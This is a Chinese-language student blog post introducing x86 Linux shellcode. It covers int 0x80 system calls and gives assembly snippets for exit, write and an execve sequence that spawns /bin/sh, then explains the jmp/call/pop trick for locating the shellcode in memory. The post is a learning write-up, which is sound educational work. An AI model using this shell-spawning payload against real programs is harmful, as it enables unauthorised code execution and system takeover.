在软件安全课上通过自带后门小程序完成了自己的第一个shellcode,借此总结下sellcode构造时的一些需要注意的问题和构造的技巧,同时开shellcode的坑,后面遇到shellcode的题目也会写到这个tag下。
Shellcode
Shellcode指的是一系列特意构造的指令注入一个程序来入侵该程序。Shellcode名字来源于其最开始时为了通过构造指令来得到一个root的shell。
构造shellcode时的一些功能实现
shellcode由于其指令的位置的特殊,初学时主要是通过int 0x80系统软中断去读取eax寄存器中的中断调用号来执行一些系统调用,目前已知的int 0x80软终端syscall有:
exit: 退出程序 参数: 中断调用号:0x1 -> eax 退出值:ebx exp: xor eax,eax xor ebx,ebx mov al,1 int 0x80 execve: 调用某程序,传参执行,很多情况下用来弹一个shell 参数: 中断调用号:0x0b -> eax 程序路径字符串指针:ebx 程序参数字符串:ecx envp: edx(一般为NULL) exp: 弹一个shell(/bin/sh),假设字符串"/bin/sh"地址指针在esi xor eax,eax mov byte [esi+7],al lea ebx,[esi] mov long [esi+8],ebx mov long [esi+12],eax mov byte al,0x0b mov ebx,esi lea ecx,[esi+8] lea edx,[esi+12] int 0x80 write: 向文件描述符对应文件写入指定长度字符串数据 参数: 中断调用号:0x4 ->eax 文件描述符:ebx 字符串数据:ecx 字符串长度:edx exp: 设esi为某段字符串地址,长度为len,在终端打印字符串 xor eax,eax xor ebx,ebx xor ecx,ecx xor edx,edx lea ecx,[esi] mov al,0x4 mov bl,1;stdout的文件描述符 mov dl,len int 0x80
后面遇到其他的会继续补充 . . .
shellcode的构造技巧
由于shellcode大多数情况下都是利用一些scanf等漏洞读入的,所以其存放地址根本无法确定,其中不能用绝对地址引用任何东西,那对于一段字符串,怎么获取其存放地址呢,shellcoder’s handbook给了一种巧妙的方法,如下:
call指令法: 在汇编中,call指令往往被解析为push和jmp。push即将call指令的下一条指令地址压栈, 方便返回时使用,jmp即跳转到call的地址执行,此处便可利用这一原理,得到字符串或者说 定位整个shellcode. 比如,如果要执行一个打印字符串到终端的shellcode时,其构造的汇编代码如下: Section .text global _start _start: jmp short Call;跳转到call指令 shellcode: pop esi;从栈中得到字符串地址 ;寄存器置零 xor eax,eax xor ebx,ebx xor edx,edx xor ecx,ecx ;write系统调用的参数配置,见上文 lea ecx,[esi] mov dl,0x0C mov bl,0x1 mov al,0x4 int 0x80 ;exit系统调用的参数配置,见上文 xor ebx,ebx mov al,1 int 0x80 Call: Call shellcode;跳转执行,并将字符串地址压栈 DB 'Your string.';代打印字符串
可以看到,上述例子很巧妙的使用call指令结合pop esi指令得到了shellcode的定位。写博客过程中,突然发现,call pop这两者简直是绝配,软安上早已了解过两者的一次强大配合定位当前指令,即call 0,pop ecx,call 0 将下一条指令压栈,然后立即pop ecx,将返回地址弹出放入ecx,便获得了当前的指令地址。
内存中查找已载入的函数进行调用
除了系统调用外,还可以通过shellcode去调用程序中使用而载入内存的函数,此处我还没有了解到,待续 . . .
Gitalk 加载中 ...